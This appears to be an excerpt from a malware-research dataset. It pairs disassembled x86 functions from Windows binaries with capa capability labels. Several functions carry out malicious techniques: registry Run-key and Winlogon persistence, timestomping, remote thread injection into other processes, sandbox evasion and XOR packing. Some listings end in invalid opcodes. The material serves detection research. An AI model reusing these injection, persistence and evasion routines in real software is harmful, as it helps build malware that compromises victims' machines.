joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c7fa
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x418160]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x40c840
cmp word [ebx], dx
jne 0x40c840
or byte [eax + edi + 0x28], 4
jmp 0x40c845
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x40c9a8
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x40c988
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x40c886
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x40c8bc
cmp eax, edx
jae 0x40c8ca
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x40c861
jmp 0x40c9a8
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40c983
cmp dword [ebp - 0x18], 0
je 0x40c983
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x418160]
test byte [eax + edi + 0x28], 0x48
je 0x40c959
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x40c91d
mov word [esi], cx
jmp 0x40c954
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x418160]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x418160]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x418160]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x40c9a8
pop eax
cmp word [ebp - 4], ax
jne 0x40c969
cmp esi, ebx
jne 0x40c969
mov word [esi], ax
jmp 0x40c9a5
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0040c4a6
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x40c9a8
push 0xd
pop eax
jmp 0x40c964
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x418160]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x40c9a2
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x40c9a8
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40daf5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.0040da71
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x40dc64
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x40dc64
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x40dc19
jg 0x40db51
test eax, eax
je 0x40dc0f
push 1
push 0x1000
call fcn.004085da
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x40db74
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x40dc06
push 0x8000
push ebx
call fcn.004057b7
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x40db9d
jg 0x40db98
cmp ecx, 0x1000
jb 0x40db9d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00407f02
add esp, 0x10
cmp eax, 0xffffffff
je 0x40dbe2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x40db98
jl 0x40dbc9
test ecx, ecx
jne 0x40db8a
push dword [ebp - 0xc]
push ebx
call fcn.004057b7
push esi
call fcn.00406a9a
add esp, 0xc
xor ebx, ebx
jmp 0x40dc72
cmp byte [edi + 0x24], 0
je 0x40dbf9
cmp dword [edi + 0x20], 5
jne 0x40dbf9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x40dc04
mov ebx, dword [edi + 0x18]
jmp 0x40dc06
xor ebx, ebx
push esi
call fcn.00406a9a
pop ecx
jmp 0x40dc72
test ecx, ecx
jg 0x40dbdb
jl 0x40dc19
test eax, eax
jae 0x40dbdb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040c4a6
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x40dc39
cmp byte [edi + 0x1c], 0
je 0x40dbdb
jmp 0x40dc6a
push ebx
call fcn.00409afd
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x40dbdb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x40dc72
cmp byte [edi + 0x1c], 0
je 0x40dc6f
mov ebx, dword [edi + 0x18]
jmp 0x40dc72
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0040c4a6
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40fc90
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40fcbd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40fcbd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40180e
Capabilities:
Get common file path

Disassembly:
add eax, 2
mov ebx, 0x98
lea edi, [esi + 0xd]
mov ecx, 0x362ca3
add ecx, 0xdb0d6
push ecx
mov ecx, 0
push ecx
call dword [sym.imp.USER32.DLL_LoadBitmapW]
push 0
pop ecx
push ecx
mov esi, pe_nt_image_headers32
push esi
mov ebx, 3
mov eax, ebx
push eax
mov esi, 0
mov ecx, esi
push ecx
mov ebx, 2
mov edx, ebx
push edx
xor esi, esi
push esi
xor edx, edx
push edx
push 0xf54213
pop ebx
sub ebx, 0xb2e203
call dword [ebx]
mov dword [0x43d93f], eax
or eax, eax
jne 0x401809
xor edi, eax
call fcn.0040179c
not eax
sub ebx, 2
mov esi, 0xe1
or esi, 0x66
lea eax, [eax + 1]
mov esi, 0x104
mov edi, esi
push edi
mov eax, 0x23036e
add eax, 0x20dec6
push eax
mov eax, dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
call eax
or eax, eax
je 0x4017a7
mov ebx, 0xc9
mov edi, ebx
push edi
mov edx, 0x28
push edx
mov edx, 0
mov ecx, edx
push ecx
mov ebx, 9
mov edi, ebx
push edi
mov eax, 0x18aac3
mov edi, eax
mov eax, 0x29b65d
add edi, eax
push dword [edi]
pop dword [0x43dc56]
mov edi, dword [0x43dc56]
call edi
inc eax
jne 0x40143c
call 0x40180e
sub eax, dword [0x43e3e2]
or al, al
mov eax, 0xd0
sub esi, 2
bswap edi
lea ebx, [edi + 0xd]
mov eax, edi
mov eax, 0x104
push eax
mov ecx, 0x5e776
mov esi, ecx
add esi, 0x3df017
push esi
mov esi, 0xc5680f
mov eax, esi
push 0x83080b
pop ecx
sub eax, ecx
call dword [eax]
or eax, eax
je 0x4017a2
invalid
Function at 0x401000
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x10], 0xff0ff
mov dword [ebp - 8], 0x104
mov dword [ebp - 0xc], 1
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x4010ce
lea eax, [ebp - 4]
push eax
push 0x20119
push 0
push 0x403150
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push 0x104
invalid
invalid
in al, dx
invalid

Function at 0x401120
Capabilities:
Clear file content
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
xor edi, edi
cmp eax, edi
je 0x40118c
cmp dword [ebp + 8], edi
je 0x40118c
cmp ebx, edi
je 0x40118c
push esi
push edi
push 0x80
push 2
push edi
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401182
mov ecx, dword [ebp + 8]
push edi
lea eax, [ebp - 4]
push eax
push ebx
push ecx
push esi
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40117b
push esi
invalid
invalid
invalid
invalid

Function at 0x4011a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor esi, esi
xor ebx, ebx
push edi
test eax, eax
je 0x401284
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, 0xffffffff
je 0x401284
xor eax, eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40127d
cmp dword [ebp + 0xc], esi
je 0x4011fe
inc ebx
xor esi, esi
test ebx, ebx
je 0x40122f
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
or bh, bh
adc eax, sym.imp.KERNEL32.dll_GetProcessHeap
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40122c
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp - 4]
mov dword [ebp + 0xc], esi
test esi, esi
je 0x40127a
push 0
lea ecx, [ebp - 4]
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40127a
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x401273
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp + 0xc], 0
mov esi, dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [ebp + 8]
test edi, edi
invalid
je 0x4012a5
push 4
push edi
call dword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
mov eax, esi
jne 0x4012a7
mov dword [edi], ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x401390
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
in al, dx
push 0x56000001
push 0x40
lea eax, [ebp - 0x58]
push 0
push eax
mov dword [ebp - 0x5c], 0
call sub.MSVCRT.dll_memset
xor eax, eax
push 0x103
push eax
lea ecx, [ebp - 0x163]
push ecx
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 0x164], al
call sub.MSVCRT.dll_memset
Function at 0x401690
Capabilities:
Clear file content
Parse pe header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], 0
test eax, eax
je 0x4017a3
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.004011a0
mov edi, eax
test edi, edi
je 0x4017a3
mov edx, 0x5a4d
cmp word [edi], dx
jne 0x401781
mov esi, dword [edi + 0x3c]
cmp dword [esi + edi], 0x4550
jne 0x401781
rdtsc
xor dword [0x426b70], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x426b70], eax
push 0x4031fc
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x401718
push 0x403208
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401718
push 0x426b70
call eax
mov ecx, dword [0x426b70]
or ebx, 0xffffffff
xor edx, edx
mov eax, ecx
div ebx
add eax, ecx
mov dword [esi + edi + 0x58], eax
mov eax, dword [ebp - 4]
mov ebx, eax
test eax, eax
je 0x401781
mov eax, dword [ebp + 8]
push 0
push 0x80
push 2
push 0
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x401781
push 0
lea ecx, [ebp + 8]
push ecx
push ebx
push edi
push esi
mov dword [ebp + 8], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40177a
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x4017a3
push edi
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x401820
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push str._globalroot_systemroot_system32drivers_ntfs.sys
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4018a0
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x1c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebx
mov eax, dword [ebp + 8]
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push eax
call edi
mov esi, eax
cmp esi, 0xffffffff
je 0x4018a0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x14]
push edx
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401e60
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate pe sections
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [0x40553c]
push 0x403a48
lea ebx, [ebx + 0x405500]
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
test ax, ax
jne 0x401fe2
push esi
push edi
push 0x403a48
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov eax, dword [ebx + 0x50]
mov edi, dword [ebp + 8]
push 0x40
push 0x3000
add eax, 0x21400
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x401fe0
xor ecx, ecx
mov dword [ebx + 0x58], 0x21400
mov word [0x405500], cx
mov eax, dword [ebx + 0x54]
lea edx, [ebp - 4]
push edx
push eax
push 0x405500
push esi
push edi
mov dword [ebx], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ecx, word [ebx + 0x14]
xor edx, edx
lea eax, [ecx + ebx + 0x18]
mov dword [ebp - 8], 0
cmp dx, word [ebx + 6]
jae 0x401f6e
lea esi, [eax + 8]
mov edi, edi
mov eax, dword [esi]
push 4
push 0x3000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x401f56
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
push ecx
add edx, 0x405500
push edx
push edi
call sub.MSVCRT.dll_memcpy
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add edx, dword [ebp - 0xc]
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp + 8]
push ecx
push edi
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 8]
movzx ecx, word [ebx + 6]
inc eax
add esi, 0x28
mov dword [ebp - 8], eax
cmp eax, ecx
jl 0x401f00
mov edi, dword [ebp + 8]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebx + 0x50]
lea edx, [ebp - 4]
push edx
push 0x21400
push 0x405500
add eax, esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebx + 0x28]
push 0
push 0
add ecx, esi
push edi
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov edx, dword [ebp - 4]
push 0
push 0
push 0
push edx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
je 0x401fc5
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebp - 4]
push 0
push 0
push 0
push eax
push 0
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.ntdll.dll_RtlCreateUserThread]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401ff0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
push esi
push edi
lea eax, [ebp - 1]
push eax
push 0
push 1
push 0x14
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
test edi, edi
je 0x4020a6
lea ecx, [ebp - 0x130]
push ecx
push edi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40209f
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
mov eax, 0x403a64
jne 0x40205c
mov eax, 0x403a74
push eax
lea edx, [ebp - 0x10c]
push edx
call esi
test eax, eax
jne 0x402078
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
test eax, eax
jne 0x402048
mov ecx, dword [ebp - 0x128]
push ecx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40209f
push esi
call fcn.00401e60
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4020b0
Capabilities:
Get disk information
Persist via run registry key
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x102
push 0
push 0
push 0
push 0x403150
push 0x80000002
mov dword [ebp - 8], 0xff0ff
call edi
test eax, eax
jne 0x402181
push 0x104
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 8]
push edx
push 0
push 0
lea eax, [ebp - 0x10c]
push eax
mov byte [ebp - 0x109], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 8]
push ecx
push 0x403188
lea edx, [ebp - 0x10c]
push 0x104
push edx
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, esi
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402147
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push esi
push 1
push 0
lea eax, [ebp - 0x10c]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0x102
push 0
push 0
push 0
push 0x40318c
push 0x80000001
call edi
test eax, eax
jne 0x4021e6
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4021b0
sub eax, edx
lea edx, [eax + eax + 2]
mov eax, dword [ebp - 4]
push edx
push esi
push 1
push 0
push 0x4031bc
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402470
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x10c
push ebx
push esi
push edi
push 0x104
lea eax, [esp + 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00402590
test eax, eax
je 0x4024a2
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.00401af0
mov esi, dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
call esi
test eax, eax
jne 0x4024c4
call fcn.004018b0
test eax, eax
je 0x4024c4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call esi
push 0x403140
mov edi, eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
test eax, eax
je 0x402501
push 0x403214
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x402501
lea ecx, [esp + 0xc]
push ecx
call ebx
push eax
call esi
cmp dword [esp + 0xc], 0
je 0x402547
test edi, edi
je 0x402520
push str._apppatch_
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x40253b
lea esi, [esp + 0x10]
call fcn.004020b0
call ebx
push eax
call fcn.00401e60
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40257e
call fcn.004021f0
call fcn.00401d40
jmp 0x40257e
test edi, edi
je 0x402570
push str._apppatch_
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x402570
call fcn.004021f0
call fcn.00401ff0
call fcn.00401d40
jmp 0x40257e
lea esi, [esp + 0x10]
call fcn.004020b0
call fcn.00401ff0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x402590
Capabilities:
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x10c]
push ecx
mov dword [ebp - 8], 0x104
mov dword [ebp - 4], 0
mov esi, 1
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.USER32.dll_CharUpperA]
cmp dword [ebp - 0x10c], 0x444e4153
jne 0x4025f6
cmp byte [ebp - 0x108], 0x42
jne 0x4025f6
cmp byte [ebp - 0x107], 0x4f
jne 0x4025f6
cmp byte [ebp - 0x106], 0x58
je 0x40267a
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
lea edx, [ebp - 0x210]
push edx
mov byte [ebp - 0x20d], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [ebp - 4]
cmp eax, 0xcd1a40
je 0x40267a
cmp eax, 0x6cbbc508
je 0x40267a
cmp eax, 0x774e1682
je 0x40267a
cmp eax, 0x837f873e
je 0x40267a
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push str.c:_sand_box_
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x40267a
pop esi
mov esp, ebp
pop ebp
ret
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x431001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x77fd2507
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x431024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f3f8
nop
nop
mov ecx, 0x79e51faa
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x431084
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219